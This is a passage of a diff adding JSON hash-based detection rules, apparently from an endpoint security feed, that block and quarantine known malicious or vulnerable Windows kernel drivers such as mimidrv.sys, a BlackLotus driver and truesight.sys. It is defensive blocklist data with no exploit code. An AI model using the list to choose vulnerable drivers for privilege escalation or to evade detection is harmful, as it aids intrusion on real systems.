+  "id": "6da6ea9a-fc0c-526f-b061-075b7ccf4d62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145094Z",
+  "creation_date": "2026-03-23T11:45:32.145096Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145102Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9088392c38d6b8b7cbcc0959d51f0440f211b037408314b51d393b8aa83d44eb",
+  "comment": "Malicious Kernel Driver (aka driver_ef9d653a.sys) [https://www.loldrivers.io/drivers/14e51012-5429-483e-9423-49778c3bd1c2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6dae4cd0-8504-5651-acbc-da9c361e0769",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453978Z",
+  "creation_date": "2026-03-23T11:45:30.453981Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453990Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "497a836693be1b330993e2be64f6c71bf290c127faca1c056abd0dc374654830",
+  "comment": "Malicious Kernel Driver (aka a236e7d654cd932b7d11cb604629a2d0.sys) [https://www.loldrivers.io/drivers/2866bd72-a4b1-4764-a838-9ed0790c2631/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6dc453fd-fd35-5583-8d13-4ee8acb8699e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611359Z",
+  "creation_date": "2026-03-23T11:45:29.611361Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611366Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "abf635a246752555868f203a565ead519c9ada06ea007545a47bf352678c342a",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6dcd1acb-cb65-5f6d-9d99-d3bc6bd6a1f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464912Z",
+  "creation_date": "2026-03-23T11:45:30.464915Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464923Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62036cdf3663097534adf3252b921eed06b73c2562655eae36b126c7d3d83266",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6dcd538a-587d-527f-8a3a-21829db2b0bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819394Z",
+  "creation_date": "2026-03-23T11:45:30.819396Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2da77e10d2fd2b8b2aa68ab4af1483ef270311c846644e0ec61ace146ee6feb",
+  "comment": "Vulnerable Kernel Driver (aka VdBSv64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6dd41b7f-04af-5749-bb5b-4d2f6c5e8f41",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978135Z",
+  "creation_date": "2026-03-23T11:45:29.978137Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978143Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "749b0e8c8c8b7dda8c2063c708047cfe95afa0a4d86886b31a12f3018396e67c",
+  "comment": "Malicious Kernel Driver (aka 0x3040_blacklotus_beta_driver.sys) [https://www.loldrivers.io/drivers/8750b245-af35-4bc6-9af3-dc858f9db64f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6dd4a3c5-140b-5d17-a24d-fd64ee2e0520",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835295Z",
+  "creation_date": "2026-03-23T11:45:30.835298Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835307Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a907bd5cddfab8ee41a02f6ad9ba6c6848bd9c1017611435f0867b2e236a07b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6df6947b-6884-599d-a679-8e99d41f1d64",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968004Z",
+  "creation_date": "2026-03-23T11:45:29.968006Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968012Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f5e3d33c824f9f03d038b4f1a376b15cc5f1694aef086bd17c516ad951fc45a",
+  "comment": "Projector Rootkit malicious drivers (aka KB_VRX_deviced.sys) [https://twitter.com/struppigel/status/1551503748601729025] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e085625-9299-5c1f-b73a-32e977660209",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146778Z",
+  "creation_date": "2026-03-23T11:45:31.146779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146785Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54d5272af19864d81cd4902d76a651510c7d58295e5f4fb2f8053ebe499982dd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e0da02f-47bb-5feb-b522-3b11714163d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153489Z",
+  "creation_date": "2026-03-23T11:45:31.153491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51fcbd96e216fb82900db6ea5046a89cec680c8965f0d9a26e1aedf71acbf8eb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e17fc26-e435-5bc8-9f39-99be4e3ebaf6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973357Z",
+  "creation_date": "2026-03-23T11:45:29.973359Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973365Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fabe94809d90ade89dad012b22243e3fb755a131800140f8f8b30c989c371301",
+  "comment": "Voicemod Sociedad Limitada vulnerable driver (aka vmdrv.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e26a745-2dd2-5fa6-8655-b3ea3b7f88b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153701Z",
+  "creation_date": "2026-03-23T11:45:31.153703Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153708Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28e471f0741ecac18102c0a407310d53cf0e962965adaafa53123b9bf349fe5e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e2710d7-b12f-51d8-b333-db37338c9f71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155154Z",
+  "creation_date": "2026-03-23T11:45:31.155156Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155161Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f55e87dc3ccf449c3df04a227b3c38f0ab151563904ec75faf09a9e6ad81b69",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e346ae4-4915-574b-9971-1aed1c11c946",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827586Z",
+  "creation_date": "2026-03-23T11:45:31.827588Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827593Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1508b3bcd0368bc487e0af59f88148f2e5a16685d1ca05d5aa0d9aa982999493",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e4d6306-3ea4-5396-b5a1-97895f1bc71d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154978Z",
+  "creation_date": "2026-03-23T11:45:31.154980Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154986Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8970d3c8889a4f6d7bb6228d331f0f30de2a7f6a287b37d23a20cd12d36eb728",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e64165c-5713-53f9-8c1c-537b25014d5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823536Z",
+  "creation_date": "2026-03-23T11:45:30.823538Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823544Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "852d83d1cb676d150286edb1eccc7dba4c5acc06027361f96721a0a75f1a7884",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e675e6c-80b2-57f4-9d94-7db2e39d9d0e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823644Z",
+  "creation_date": "2026-03-23T11:45:30.823647Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823652Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "456216f68ea370a72c5a4994b64809114edad1357cea269af57b96b44923a484",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e75b3b5-c905-5cd5-b67d-d0b91e2eb598",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472980Z",
+  "creation_date": "2026-03-23T11:45:30.472983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472992Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53bd8e8d3542fcf02d09c34282ebf97aee9515ee6b9a01cefd81baa45c6fd3d6",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e81b540-f4fe-5c58-b988-c69ab84fbde5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980271Z",
+  "creation_date": "2026-03-23T11:45:29.980273Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980279Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9eba5d1545fdbf37cf053ac3f3ba45bcb651b8abb7805cbfdfb5f91ea294fb95",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e96b5c3-e155-5b2b-bd3a-0ce0eb7cc6e8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487080Z",
+  "creation_date": "2026-03-23T11:45:31.487083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487092Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44d76b4ee4e9a0ad0eb3c40fc6ae66d91c33155da86b5f15a6ebd9564cf30130",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e9ce2a7-c644-5130-9db4-b0d56ee11bf7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151754Z",
+  "creation_date": "2026-03-23T11:45:31.151757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151764Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "baa6847981a0c77a1c657431167a43ebcfd0ffe32ddf8379f6a65315c34a549d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e9e3066-2f4b-5fad-b9e4-2e8a0cd60ab5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489040Z",
+  "creation_date": "2026-03-23T11:45:31.489042Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489047Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a36482e8713d29d620b8b759812324d74fa63ce221ff518f807f3f3db569b3d7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6e9e5995-7311-57d2-b4c6-b18b5e1b8fad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
